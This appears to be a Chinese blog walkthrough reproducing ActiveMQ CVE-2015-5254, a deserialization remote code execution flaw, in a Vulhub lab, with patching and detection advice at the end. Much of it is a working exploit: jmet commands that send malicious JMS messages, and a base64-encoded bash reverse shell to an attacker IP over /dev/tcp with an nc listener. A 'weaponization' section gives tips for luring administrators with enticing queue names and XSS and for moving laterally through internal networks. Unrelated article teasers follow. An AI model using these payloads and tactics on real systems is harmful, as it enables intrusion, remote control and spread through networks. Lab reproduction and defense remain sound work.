news 2026/5/27 18:08:06

【漏洞复现剖析】ActiveMQ CVE-2015-5254:从JMS消息注入到RCE的实战推演

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【漏洞复现剖析】ActiveMQ CVE-2015-5254:从JMS消息注入到RCE的实战推演

1. ActiveMQ与CVE-2015-5254漏洞背景

消息队列在现代分布式系统中扮演着重要角色,而Apache ActiveMQ作为老牌开源消息中间件,广泛应用于企业级异步通信场景。2015年曝光的CVE-2015-5254漏洞之所以危险,在于它打破了消息队列"数据管道"的安全边界——攻击者通过精心构造的JMS消息就能在服务端实现远程代码执行。

这个漏洞的本质是Java反序列化漏洞的典型变种。ActiveMQ在5.13.0之前的版本中,对ObjectMessage类型的消息内容没有进行安全的反序列化校验。当管理员通过Web控制台查看恶意消息时,服务端会自动反序列化消息内容,触发预先植入的恶意代码。我曾在内部红队演练中多次利用该漏洞,发现即使没有管理密码,只要诱使管理员点击消息也能达成攻击目的。

2. 漏洞环境快速搭建

2.1 Vulhub靶场部署

使用Vulhub搭建环境是最便捷的复现方式:

# 拉取最新漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/activemq/CVE-2015-5254 # 一键启动环境(需提前安装Docker) docker-compose up -d

启动后会开放两个关键端口:

  • 61616:JMS消息传输端口
  • 8161:Web管理端口(默认账号admin/admin)

我曾遇到过docker-compose版本不兼容的问题,这时可以尝试:

# 强制重建容器 docker-compose down && docker-compose up --force-recreate -d

2.2 手动搭建注意事项

如果想手动搭建测试环境,需要注意:

  1. 必须使用5.11.1等受影响版本
  2. 配置conf/activemq.xml时需确保:
    <transportConnector name="openwire" uri="tcp://0.0.0.0:61616"/>
  3. Web控制台默认启用但可能需调整jetty配置

3. 漏洞利用全流程解析

3.1 工具链准备

推荐使用jmet工具生成攻击载荷:

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar mkdir external # 必须创建否则报错

工具参数详解:

  • -Q:指定目标队列名(相当于邮件收件箱)
  • -Y:要执行的系统命令
  • -Yp:利用链选择(ROME链兼容性最好)

3.2 基础利用演示

执行文件创建测试:

java -jar jmet-0.1.0-all.jar -Q exploit -I ActiveMQ -s -Y "touch /tmp/pwned" -Yp ROME 靶机IP 61616

访问http://靶机IP:8161/admin/browse.jsp?JMSDestination=exploit查看消息触发漏洞后,进入容器验证:

docker exec -it activemq bash ls -l /tmp/pwned

3.3 反弹Shell实战

分步骤实现交互式控制:

  1. 准备Base64编码的反弹命令:
    echo "bash -i >& /dev/tcp/攻击机IP/4444 0>&1" | base64
  2. VPS监听端口:
    nc -lvnp 4444
  3. 发送恶意消息:
    java -jar jmet-0.1.0-all.jar -Q shell -I ActiveMQ -s -Y "bash -c {echo,base64编码}|{base64,-d}|{bash,-i}" -Yp ROME 靶机IP 61616

4. 漏洞利用的深层机制

4.1 反序列化触发原理

当Web控制台浏览消息时,服务端处理流程:

  1. 从存储中读取消息字节流
  2. 调用ObjectInputStream反序列化对象
  3. ROME利用链通过ToStringBean.toString()触发恶意代码

关键突破点在于ActiveMQ未使用白名单机制校验可序列化类。我在审计代码时发现,补丁版本新增了SerializableClassFilter接口来限制危险类。

4.2 不同利用链对比

利用链依赖库适用版本稳定性
ROMErome-1.0JDK6+★★★★☆
CommonsBeanutilscommons-beanutils:1.9.2JDK8+★★★☆☆
Groovygroovy:2.3.9JDK7+★★☆☆☆

实测发现ROME链在各类环境中表现最稳定,这也是jmet默认选择它的原因。

5. 防御与检测方案

5.1 企业级防护措施

  1. 版本升级策略:

    • 立即升级到5.13.0+版本
    • 无法升级时添加JVM参数:
      -Dorg.apache.activemq.SERIALIZABLE_PACKAGES=java.lang,javax.security
  2. 网络层控制:

    • 限制61616端口的访问源IP
    • 在WAF中添加反序列化特征检测

5.2 入侵检测指标

管理员应监控以下异常行为:

  • 突然出现异常命名的消息队列
  • Web控制台的非授权访问尝试
  • 系统临时目录下可疑文件创建

我在某次应急响应中,就是通过发现/tmp目录下异常的.class文件追溯到攻击入口点。

6. 漏洞武器化进阶技巧

6.1 绕过密码限制的场景

当没有管理密码时,可以:

  1. 创建含恶意命令的用户添加消息
  2. 命名队列为"urgent"等诱导性名称
  3. 结合XSS让管理员更容易触发

6.2 内网渗透中的应用

该漏洞在内网横向移动中特别有效:

  1. 通过已控机器扫描61616端口
  2. 批量发送延时执行载荷
  3. 结合SOCKS代理建立持久通道

曾有个案例,攻击者利用该漏洞在金融内网横向移动,最终控制了整个消息中间件集群。

7. 漏洞研究延伸思考

从防御者视角看,这个漏洞给我们两点重要启示:

  1. 中间件安全往往被忽视,但实际攻击面很大
  2. 默认配置的安全性需要持续评估

建议开发团队在消息队列选型时,除了性能指标外,更要关注历史漏洞情况和社区响应速度。对于安全团队,应当建立中间件的专项检测方案,而不仅限于常规Web应用检测。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/27 18:07:31

从URL词法分析到DOM指纹:构建多层欺诈检测系统的实战解析

1. 项目概述&#xff1a;一次成功的欺诈防御实战复盘今天想和大家深入聊聊一个我最近研究得比较透的案例&#xff0c;它完美诠释了现代自动化安全系统如何与社区智慧结合&#xff0c;在关键时刻力挽狂澜。事情发生在2025年2月的一个周四清晨&#xff0c;一个看似普通的能源交易…

作者头像 李华
网站建设 2026/5/27 17:57:31

PDF元数据管理:深度解析PDF补丁丁的文档信息处理技术

PDF元数据管理&#xff1a;深度解析PDF补丁丁的文档信息处理技术 【免费下载链接】PDFPatcher PDF补丁丁——PDF工具箱&#xff0c;可以编辑书签、剪裁旋转页面、解除限制、提取或合并文档&#xff0c;探查文档结构&#xff0c;提取图片、转成图片等等 项目地址: https://git…

作者头像 李华
网站建设 2026/5/27 17:56:59

基于Tauri构建跨Git Worktree的AI编程助手桌面应用

1. 项目概述&#xff1a;一个桌面应用如何解决多分支AI编程的混乱如果你和我一样&#xff0c;日常开发工作流重度依赖git worktree来并行处理多个功能分支或Bug修复&#xff0c;同时又热衷于使用各类AI编程助手&#xff08;比如Cursor、Claude Code、GitHub Copilot Chat&#…

作者头像 李华
网站建设 2026/5/27 17:55:01

LaWGPT法律大模型实战指南:从零部署到专业应用的完整方案

LaWGPT法律大模型实战指南&#xff1a;从零部署到专业应用的完整方案 【免费下载链接】LaWGPT &#x1f389; Repo for LaWGPT, Chinese-Llama tuned with Chinese Legal knowledge. 基于中文法律知识的大语言模型 项目地址: https://gitcode.com/gh_mirrors/la/LaWGPT …

作者头像 李华
网站建设 2026/5/27 17:51:00

为你的Claude Code配置Taotoken密钥实现稳定无感调用

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 为你的Claude Code配置Taotoken密钥实现稳定无感调用 如果你正在使用Claude Code作为编程助手&#xff0c;可能会遇到一些服务稳定…

作者头像 李华